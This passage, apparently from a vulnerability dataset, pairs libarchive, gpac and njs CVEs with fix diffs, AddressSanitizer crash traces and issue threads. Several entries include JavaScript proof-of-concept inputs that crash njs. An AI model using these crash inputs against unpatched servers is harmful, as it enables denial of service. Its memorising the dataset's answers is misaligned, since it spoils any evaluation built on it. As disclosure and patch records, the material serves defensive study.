archive_read_open_filenames libarchive/archive_read_open_filename.c:152 #4 0x56536be182ae in archive_read_open_filename libarchive/archive_read_open_filename.c:109 #5 0x56536bddfed2 in read_archive tar/read.c:222 #6 0x56536bddf303 in tar_mode_x tar/read.c:112 #7 0x56536bddc62d in main tar/bsdtar.c:866 #8 0x7fd1bd14c2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0) SUMMARY: AddressSanitizer: heap-buffer-overflow libarchive/archive_read_support_format_lha.c:1740 in lha_crc16 Shadow bytes around the buggy address: 0x0c627fffc8b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c627fffc8c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c627fffc8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c627fffc8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c627fffc8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c627fffc900:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffc910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffc920: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffc930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffc940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffc950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==21722==ABORTING ``` --- Comment #1 by carnil: This issue was assigned CVE-2017-14503 --- Comment #2 by lsandov1: Hi @carnil, is someone between the community is planning to fix this issue? --- Comment #3 by jstarks: It looks like this was fixed with 2c8c83b9731ff822fad6cc8c670ea5519c366a14. --- Comment #4 by VictorRodriguez: Thanks for the update @jstarks Can we apply the same logic to https://github.com/libarchive/libarchive/issues/949 ? --- Comment #5 by jstarks: I created PR #1042 that I believe fixes #949. A libarchive maintainer should weigh in on whether this is the appropriate fix, though. --- Comment #6 by VictorRodriguez: any update on the approval of @jstarks PR https://github.com/libarchive/libarchive/pull/1042 ? --- Comment #7 by xhudik: Hi, this seems to be relatively serious security issue since major linux distributions (like Ubuntu) are using libarchive. Qualsys reported this: ``` THREAT: Libarchive library provides features to support different kinds of archive and compression formats. libarchive is affected by an Out-of-Bounds vulnerability in the read_data_none() in archive_read_support_format_lha.c component caused by the extraction of a specially crafted lha archive. Affected Version: libarchive prior to and including version 3.3.2 QID Detection Logic: The checks looks at the version of the package libarchive/libarchive13 to see if a vulnerable version is installed. IMPACT: Successful exploitation of the vulnerability will lead to denial of service attacks ``` Another source: https://cyber.vumetric.com/vulns/CVE-2017-5601/out-bounds-read-vulnerability-libarchive-3-2-2/ (it seems the issue is relevant also in 3.3.2 version) I dont want to be pushy and I do understand people are working on this during their free time but this is a pain :( ... --- Comment #8 by VictorRodriguez: @xhudik https://github.com/libarchive/libarchive/pull/1042 is merged now --- Comment #9 by xhudik: @VictorRodriguez - grea!!! So this issue can be closed now - right? --- Comment #10 by VictorRodriguez: @carnil is the one that has power to close the issue
https://nvd.nist.gov/vuln/detail/CVE-2017-14503
gpac.cve-2023-0760
Heap-based Buffer Overflow in GitHub repository gpac/gpac prior to V2.1.0-DEV.
https://github.com/gpac/gpac/commit/ea7395f39f601a7750d48d606e9d10ea0b7beefe, https://huntr.dev/bounties/d06223df-a473-4c82-96d0-23726b844b21
https://github.com/gpac/gpac/commit/ea7395f39f601a7750d48d606e9d10ea0b7beefe, https://huntr.dev/bounties/d06223df-a473-4c82-96d0-23726b844b21
CWE-122, CWE-787
gpac/gpac
ea7395f39f601a7750d48d606e9d10ea0b7beefe~1
diff --git a/src/isomedia/box_code_base.c b/src/isomedia/box_code_base.c index baf07ff352..9a9ad09b45 100644 --- a/src/isomedia/box_code_base.c +++ b/src/isomedia/box_code_base.c @@ -4429,7 +4429,7 @@ GF_Err video_sample_entry_box_size(GF_Box *s) /*VVC*/ gf_isom_check_position(s, (GF_Box *)ptr->vvc_config, &pos); - + /*AV1*/ gf_isom_check_position(s, (GF_Box *)ptr->av1_config, &pos); @@ -8857,7 +8857,7 @@ GF_Err dac3_box_write(GF_Box *s, GF_BitStream *bs) e = gf_isom_box_write_header(s, bs); if (ptr->cfg.is_ec3) s->type = GF_ISOM_BOX_TYPE_DAC3; if (e) return e; - + e = gf_odf_ac3_cfg_write_bs(&ptr->cfg, bs); if (e) return e; @@ -9983,6 +9983,9 @@ static void *sgpd_parse_entry(u32 grouping_type, GF_BitStream *bs, s32 bytes_in_ } return ptr; } + case 0: + GF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, ("[iso file] sgpd entry null grouping_type is invalid\n") ); + return NULL; default: break; } diff --git a/src/isomedia/box_funcs.c b/src/isomedia/box_funcs.c index 98ff6bbff6..eb7f441510 100644 --- a/src/isomedia/box_funcs.c +++ b/src/isomedia/box_funcs.c @@ -104,7 +104,7 @@ GF_Err gf_isom_box_parse_ex(GF_Box **outBox, GF_BitStream *bs, u32 parent_type, GF_Box *newBox; Bool skip_logs = (gf_bs_get_cookie(bs) & GF_ISOM_BS_COOKIE_NO_LOGS ) ? GF_TRUE : GF_FALSE; Bool is_special = GF_TRUE; - + if ((bs == NULL) || (outBox == NULL) ) return GF_BAD_PARAM; *outBox = NULL; if (gf_bs_available(bs) < 8) { @@ -1528,7 +1528,7 @@ static struct box_registry_entry { BOX_DEFINE_S_CHILD( GF_QT_SUBTYPE_YVYU, video_sample_entry, "stsd", "apple"), BOX_DEFINE_S_CHILD( GF_QT_SUBTYPE_RGBA, video_sample_entry, "stsd", "apple"), BOX_DEFINE_S_CHILD( GF_QT_SUBTYPE_ABGR, video_sample_entry, "stsd", "apple"), - + FBOX_DEFINE_S(GF_QT_BOX_TYPE_STPS, stss, "stbl", 0, "apple"), //dolby boxes @@ -1918,7 +1918,7 @@ void gf_isom_check_position(GF_Box *s, GF_Box *child, u32 *pos) s32 cur_pos = gf_list_find(s->child_boxes, child); - //happens when partially cloning boxes + //happens when partially cloning boxes if (cur_pos < 0) return; if (cur_pos != (s32) *pos) { @@ -1949,7 +1949,7 @@ GF_Err gf_isom_box_write(GF_Box *a, GF_BitStream *bs) if (!a) return GF_BAD_PARAM; //box has been disabled, do not write if (!a->size) return GF_OK; - + if (a->registry->disabled) { GF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, ("[iso file] Box %s disabled registry, skip write\n", gf_4cc_to_str(a->type))); return GF_OK; diff --git a/src/isomedia/isom_read.c b/src/isomedia/isom_read.c index ba474c335f..5484d86235 100644 --- a/src/isomedia/isom_read.c +++ b/src/isomedia/isom_read.c @@ -2304,7 +2304,7 @@ GF_Err gf_isom_get_sample_for_media_time(GF_ISOFile *the_file, u32 trackNumber, } if (static_sample && ! (*sample)->alloc_size ) (*sample)->alloc_size = (*sample)->dataLength; - + return GF_OK; } @@ -4674,7 +4674,7 @@ const u32 *gf_isom_get_track_switch_parameter(GF_ISOFile *movie, u32 trackNumber if (!map) return NULL; tsel = (GF_TrackSelectionBox*)gf_list_get(map->boxes, group_index-1); if (!tsel) return NULL; - + *switchGroupID = tsel->switchGroup; *criteriaListSize = tsel->attributeListCount; return (const u32 *) tsel->attributeList; @@ -5409,7 +5409,7 @@ GF_Err gf_isom_get_sample_cenc_info_internal(GF_TrackBox *trak, void *traf, GF_S if (skip_byte_block) *skip_byte_block = 0; if (key_info) *key_info = NULL; if (key_info_size) *key_info_size = 0; - + if (!trak) return GF_BAD_PARAM; #ifdef GPAC_DISABLE_ISOM_FRAGMENTS
https://huntr.dev/bounties/d06223df-a473-4c82-96d0-23726b844b21
https://nvd.nist.gov/vuln/detail/CVE-2023-0760
njs.cve-2022-31307
Nginx NJS v0.7.2 was discovered to contain a segmentation violation in the function njs_string_offset at src/njs_string.c.
https://github.com/nginx/njs/issues/482
https://github.com/nginx/njs/commit/eafe4c7a326b163612f10861392622b5da5b1792
CWE-416
nginx/njs
eafe4c7a326b163612f10861392622b5da5b1792~1
diff --git a/src/njs_iterator.c b/src/njs_iterator.c index 90c3046fb..043e4483c 100644 --- a/src/njs_iterator.c +++ b/src/njs_iterator.c @@ -560,11 +560,14 @@ njs_object_iterate_reverse(njs_vm_t *vm, njs_iterator_args_t *args, } else { /* UTF-8 string. */ - p = njs_string_offset(string_prop.start, end, from); - p = njs_utf8_next(p, end); - + p = NULL; i = from + 1; + if (i > to) { + p = njs_string_offset(string_prop.start, end, from); + p = njs_utf8_next(p, end); + } + while (i-- > to) { pos = njs_utf8_prev(p); diff --git a/src/test/njs_unit_test.c b/src/test/njs_unit_test.c index def152aa8..0b73c77b3 100644 --- a/src/test/njs_unit_test.c +++ b/src/test/njs_unit_test.c @@ -5103,6 +5103,9 @@ static njs_unit_test_t njs_test[] = { njs_str("Array.prototype.lastIndexOf.call({0:'undefined', length:0}, 'undefined')"), njs_str("-1") }, + { njs_str("[1,0,-1,-2].map(v => Array.prototype.lastIndexOf.call('Ф', 'Ф', v))"), + njs_str("0,0,0,-1") }, + { njs_str("[''].lastIndexOf.call('00000000000000000000000000000а00')"), njs_str("-1") },
https://github.com/nginx/njs/issues/482
AddressSanitizer:DEADLYSIGNAL ================================================================= ==732134==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004f44ab bp 0x7ffee1c1f9b0 sp 0x7ffee1c1f9b0 T0) ==732134==The signal is caused by a READ memory access. ==732134==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used. #0 0x4f44ab in njs_string_offset /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18 #1 0x602ff2 in njs_object_iterate_reverse /home/q1iq/Documents/origin/njs_f65981b/src/njs_iterator.c:563:17 #2 0x523ba8 in njs_array_prototype_reverse_iterator /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:2419:11 #3 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11 #4 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23 #5 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11 #6 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23 #7 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11 #8 0x4c7f69 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19 #9 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11 #10 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15 #11 0x7fb64d8810b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #12 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18 in njs_string_offset ==732134==ABORTING
=== https://github.com/nginx/njs/issues/482 === Title: SEGV njs_string.c:2535:18 in njs_string_offset --- Body: ### Environment ``` OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux Commit : f65981b0b8fcf02d69a40bc934803c25c9f607ab Version : 0.7.2 Build : NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address" NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer" ``` ### Proof of concept ``` function main() { const a4 = String.fromCodePoint(6631); const a7 = Object(a4); const a9 = [65537,a7,"c"]; const a10 = Object.setPrototypeOf(a7,a9); const a11 = a10.lastIndexOf(a4,...-1000000000.0); } main(); ``` ### Stack dump ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==732134==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004f44ab bp 0x7ffee1c1f9b0 sp 0x7ffee1c1f9b0 T0) ==732134==The signal is caused by a READ memory access. ==732134==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used. #0 0x4f44ab in njs_string_offset /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18 #1 0x602ff2 in njs_object_iterate_reverse /home/q1iq/Documents/origin/njs_f65981b/src/njs_iterator.c:563:17 #2 0x523ba8 in njs_array_prototype_reverse_iterator /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:2419:11 #3 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11 #4 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23 #5 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11 #6 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23 #7 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11 #8 0x4c7f69 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19 #9 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11 #10 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15 #11 0x7fb64d8810b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #12 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18 in njs_string_offset ==732134==ABORTING ``` ### Credit Q1IQ(@Q1IQ)
https://nvd.nist.gov/vuln/detail/CVE-2022-31307
njs.cve-2021-46462
njs through 0.7.1, used in NGINX, was discovered to contain a segmentation violation via njs_object_set_prototype in /src/njs_object.c.
https://github.com/nginx/njs/issues/449
https://github.com/nginx/njs/commit/39e8fa1b7db1680654527f8fa0e9ee93b334ecba, https://github.com/nginx/njs/issues/449
nginx/njs
39e8fa1b7db1680654527f8fa0e9ee93b334ecba~1
diff --git a/src/njs_function.c b/src/njs_function.c index 0c23ca05c..ae0fa11ff 100644 --- a/src/njs_function.c +++ b/src/njs_function.c @@ -1385,18 +1385,10 @@ njs_function_prototype_apply(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs, if (njs_is_null_or_undefined(arr_like)) { length = 0; - - goto activate; - - } else if (njs_is_array(arr_like)) { - arr = arr_like->data.u.array; - - args = arr->start; - length = arr->length; - goto activate; + } - } else if (njs_slow_path(!njs_is_object(arr_like))) { + if (njs_slow_path(!njs_is_object(arr_like))) { njs_type_error(vm, "second argument is not an array-like object"); return NJS_ERROR; } @@ -1406,6 +1398,11 @@ njs_function_prototype_apply(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs, return ret; } + if (njs_slow_path(length > 1024)) { + njs_internal_error(vm, "argument list is too long"); + return NJS_ERROR; + } + arr = njs_array_alloc(vm, 1, length, NJS_ARRAY_SPARE); if (njs_slow_path(arr == NULL)) { return NJS_ERROR; diff --git a/src/test/njs_unit_test.c b/src/test/njs_unit_test.c index f332999ac..35e2f1329 100644 --- a/src/test/njs_unit_test.c +++ b/src/test/njs_unit_test.c @@ -10063,6 +10063,10 @@ static njs_unit_test_t njs_test[] = "f.apply(123, {})"), njs_str("123") }, + { njs_str("(function(index, ...rest){ return rest[index];})" + ".apply({}, [1022].concat(Array(1023).fill(1).map((v,i)=>i.toString(16))))"), + njs_str("3fe") }, + { njs_str("String.prototype.concat.apply('a', " "{length:2, 0:{toString:function() {return 'b'}}, 1:'c'})"), njs_str("abc") },
https://github.com/nginx/njs/issues/449
AddressSanitizer:DEADLYSIGNAL ================================================================= ==466519==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x00000050d6d4 bp 0x7ffc8e2432f0 sp 0x7ffc8e2432e0 T0) ==466519==The signal is caused by a READ memory access. ==466519==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used. #0 0x50d6d4 in njs_object_set_prototype /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2136:24 #1 0x50d6d4 in njs_object_prototype_proto /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2162:19 #2 0x4d9f03 in njs_value_property_set /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_value.c:1215:19 #3 0x4e45f5 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:658:23 #4 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11 #5 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23 #6 0x4dea17 in njs_vm_start /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vm.c:493:11 #7 0x4c7f3d in njs_process_script /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:881:19 #8 0x4c7375 in njs_process_file /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:615:11 #9 0x4c7375 in main /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:315:15 #10 0x7f3d5b6190b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #11 0x41dabd in _start (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x41dabd) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2136:24 in njs_object_set_prototype ==466519==ABORTING
=== https://github.com/nginx/njs/issues/449 === Title: SEGV /njs/src/njs_object.c:2136:24 in njs_object_set_prototype --- Body: ## Env ``` Version : 0.7.0 Git Commit : 2da5d8b246b806bee6f74b575217ec3b61a25548 OS : Ubuntu 20.04 Configure : ./configure --address-sanitizer=YES ``` ## POC ``` function main() { const v3 = [23490,23490,23490,23490]; const v4 = {}; v3.length = 1577595327; const v9 = Object.apply(...v4,v3); v3.__proto__ = v9; } main(); ``` ## Stack Dump ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==466519==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x00000050d6d4 bp 0x7ffc8e2432f0 sp 0x7ffc8e2432e0 T0) ==466519==The signal is caused by a READ memory access. ==466519==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used. #0 0x50d6d4 in njs_object_set_prototype /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2136:24 #1 0x50d6d4 in njs_object_prototype_proto /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2162:19 #2 0x4d9f03 in njs_value_property_set /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_value.c:1215:19 #3 0x4e45f5 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:658:23 #4 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11 #5 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23 #6 0x4dea17 in njs_vm_start /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vm.c:493:11 #7 0x4c7f3d in njs_process_script /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:881:19 #8 0x4c7375 in njs_process_file /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:615:11 #9 0x4c7375 in main /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:315:15 #10 0x7f3d5b6190b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #11 0x41dabd in _start (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x41dabd) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2136:24 in njs_object_set_prototype ==466519==ABORTING ``` ## Credit P1umer, afang5472, Kotori of NeSE@IIE --- Comment #1 by drsm: maybe related: ```js >> (() => {}).apply({}, Array(2**10)); undefined >> (() => {}).apply({}, Array(2**13)); Thrown: RangeError: Maximum call stack size exceeded at Function.prototype.apply (native) at main (shell:1) >> (() => {}).apply({}, Array(2**30)); undefined >> (() => {}).apply({}, Array(2**32)); Thrown: RangeError: Invalid array length at Array (native) at Function.prototype.apply (native) at main (shell:1) ``` --- Comment #2 by P1umer: This issue was assigned [CVE-2021-46462](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46462).
https://nvd.nist.gov/vuln/detail/CVE-2021-46462
njs.cve-2022-29779
Nginx NJS v0.7.2 was discovered to contain a segmentation violation in the function njs_value_own_enumerate at src/njs_value.c.
https://github.com/nginx/njs/issues/485
https://github.com/nginx/njs/commit/2e00e95473861846aa8538be87db07699d9f676d
nginx/njs
2e00e95473861846aa8538be87db07699d9f676d~1
diff --git a/src/njs_array.c b/src/njs_array.c index 0b8c7b919..2ceb6be7e 100644 --- a/src/njs_array.c +++ b/src/njs_array.c @@ -1284,6 +1284,11 @@ njs_array_prototype_splice(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs, if (njs_slow_path(ret == NJS_ERROR)) { return ret; } + + } else { + if (deleted->object.fast_array) { + njs_set_invalid(&deleted->start[i]); + } } } diff --git a/src/test/njs_unit_test.c b/src/test/njs_unit_test.c index 25e066c32..b28e34fef 100644 --- a/src/test/njs_unit_test.c +++ b/src/test/njs_unit_test.c @@ -4869,6 +4869,15 @@ static njs_unit_test_t njs_test[] = "Array.prototype.splice.call(obj, 2**53-2, 0, 'C');"), njs_str("TypeError: Invalid length") }, + { njs_str("var a = {1: 'B', length: 2};" + "Array.prototype.splice.call(a, 0)"), + njs_str(",B") }, + + { njs_str("var a = new Uint8Array();" + "a.__proto__ = [1,2,3];" + "a.splice(0)"), + njs_str(",,") }, + { njs_str("var a = []; a.reverse()"), njs_str("") },
https://github.com/nginx/njs/issues/485
AddressSanitizer:DEADLYSIGNAL ================================================================= ==2523460==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x555b64452f1c bp 0x7ffdcdd97650 sp 0x7ffdcdd97520 T0) ==2523460==The signal is caused by a READ memory access. ==2523460==Hint: address points to the zero page. #0 0x555b64452f1b in njs_value_own_enumerate src/njs_value.c:240 #1 0x555b6448d019 in njs_object_traverse src/njs_object.c:1230 #2 0x555b644df091 in njs_builtin_match_native_function src/njs_builtin.c:726 #3 0x555b644d26cb in njs_add_backtrace_entry src/njs_error.c:1309 #4 0x555b644d26cb in njs_error_stack_new src/njs_error.c:102 #5 0x555b644d26cb in njs_error_stack_attach src/njs_error.c:161 #6 0x555b6446455e in njs_vmcode_interpreter src/njs_vmcode.c:985 #7 0x555b644bbaba in njs_function_lambda_call src/njs_function.c:703 #8 0x555b644620fb in njs_vmcode_interpreter src/njs_vmcode.c:788 #9 0x555b6445c0ba in njs_vm_start src/njs_vm.c:553 #10 0x555b644453f8 in njs_process_script src/njs_shell.c:890 #11 0x555b64445ebf in njs_process_file src/njs_shell.c:619 #12 0x555b6444721f in main src/njs_shell.c:303 #13 0x7f301e32b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2) #14 0x555b64442c4d in _start (/home/wz/njs/njs/build/njs+0x4bc4d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV src/njs_value.c:240 in njs_value_own_enumerate ==2523460==ABORTING
=== https://github.com/nginx/njs/issues/485 === Title: SEGV src/njs_value.c:240 in njs_value_own_enumerate --- Body: # Environment OS : Linux leanderwang-LC2 5.13.0-30-generic https://github.com/nginx/njs/issues/33 SMP Mon Feb 7 14:25:10 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux Commit : https://github.com/nginx/njs/commit/f65981b0b8fcf02d69a40bc934803c25c9f607ab Version : 0.7.3 Build : NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address" NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer" # PoC ```js function main() { var empty_arr = {}; var arr1 = [empty_arr]; var arr2 = new Uint8Array(); arr2.__proto__ = arr1; var arr3 = arr2.splice(..."bigint"); Promise.valueOf = arr3; var v9 = Array(0x20000000000000); } main(); ``` # Stack dump ```bash AddressSanitizer:DEADLYSIGNAL ================================================================= ==2523460==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x555b64452f1c bp 0x7ffdcdd97650 sp 0x7ffdcdd97520 T0) ==2523460==The signal is caused by a READ memory access. ==2523460==Hint: address points to the zero page. #0 0x555b64452f1b in njs_value_own_enumerate src/njs_value.c:240 #1 0x555b6448d019 in njs_object_traverse src/njs_object.c:1230 #2 0x555b644df091 in njs_builtin_match_native_function src/njs_builtin.c:726 #3 0x555b644d26cb in njs_add_backtrace_entry src/njs_error.c:1309 #4 0x555b644d26cb in njs_error_stack_new src/njs_error.c:102 #5 0x555b644d26cb in njs_error_stack_attach src/njs_error.c:161 #6 0x555b6446455e in njs_vmcode_interpreter src/njs_vmcode.c:985 #7 0x555b644bbaba in njs_function_lambda_call src/njs_function.c:703 #8 0x555b644620fb in njs_vmcode_interpreter src/njs_vmcode.c:788 #9 0x555b6445c0ba in njs_vm_start src/njs_vm.c:553 #10 0x555b644453f8 in njs_process_script src/njs_shell.c:890 #11 0x555b64445ebf in njs_process_file src/njs_shell.c:619 #12 0x555b6444721f in main src/njs_shell.c:303 #13 0x7f301e32b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2) #14 0x555b64442c4d in _start (/home/wz/njs/njs/build/njs+0x4bc4d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV src/njs_value.c:240 in njs_value_own_enumerate ==2523460==ABORTING ``` # Credit xmzyshypnc(@xmzyshypnc) and P1umer(@P1umer)
https://nvd.nist.gov/vuln/detail/CVE-2022-29779
njs.cve-2022-29369
Nginx NJS v0.7.2 was discovered to contain a segmentation violation via njs_lvlhsh_bucket_find at njs_lvlhsh.c.
https://github.com/nginx/njs/commit/222d6fdcf0c6485ec8e175f3a7b70d650c234b4e
CWE-754
nginx/njs
222d6fdcf0c6485ec8e175f3a7b70d650c234b4e~1
diff --git a/src/njs_vmcode.c b/src/njs_vmcode.c index 0b07ec67e..6b10200ee 100644 --- a/src/njs_vmcode.c +++ b/src/njs_vmcode.c @@ -700,7 +700,7 @@ njs_vmcode_interpreter(njs_vm_t *vm, u_char *pc, void *promise_cap, ret = njs_object_prop_define(vm, value1, &name, function, accessor->type); if (njs_slow_path(ret != NJS_OK)) { - return NJS_ERROR; + goto error; } ret = sizeof(njs_vmcode_prop_accessor_t); @@ -779,12 +779,12 @@ njs_vmcode_interpreter(njs_vm_t *vm, u_char *pc, void *promise_cap, } if (njs_slow_path(!njs_is_function(&dst))) { - ret = njs_value_to_key(vm, value2, value2); + ret = njs_value_to_key(vm, &dst, value2); if (njs_slow_path(ret != NJS_OK)) { - return NJS_ERROR; + goto error; } - njs_key_string_get(vm, value2, &string); + njs_key_string_get(vm, &dst, &string); njs_type_error(vm, "(intermediate value)[\"%V\"] is not a function", &string); @@ -950,7 +950,8 @@ njs_vmcode_interpreter(njs_vm_t *vm, u_char *pc, void *promise_cap, if (njs_is_valid(value1)) { value1 = njs_mp_alloc(vm->mem_pool, sizeof(njs_value_t)); if (njs_slow_path(value1 == NULL)) { - return NJS_ERROR; + njs_memory_error(vm); + goto error; } njs_scope_value_set(vm, var->dst, value1); @@ -967,7 +968,8 @@ njs_vmcode_interpreter(njs_vm_t *vm, u_char *pc, void *promise_cap, value1 = njs_mp_alloc(vm->mem_pool, sizeof(njs_value_t)); if (njs_slow_path(value1 == NULL)) { - return NJS_ERROR; + njs_memory_error(vm); + goto error; } *value1 = *value2; diff --git a/src/test/njs_unit_test.c b/src/test/njs_unit_test.c index ef5b3ca45..186defa1a 100644 --- a/src/test/njs_unit_test.c +++ b/src/test/njs_unit_test.c @@ -3409,6 +3409,11 @@ static njs_unit_test_t njs_test[] = /**/ + { njs_str("function f() { Object.prototype.toString = 1; };" + "Object.prototype.toString = f;" + "(function () { try { 's'[{}](); } catch (e) { throw e; } })()"), + njs_str("TypeError: Cannot convert object to primitive value") }, + { njs_str("var i; for (i = 0; i < 10; i++) { i += 1 } i"), njs_str("10") },
https://github.com/nginx/njs/issues/467
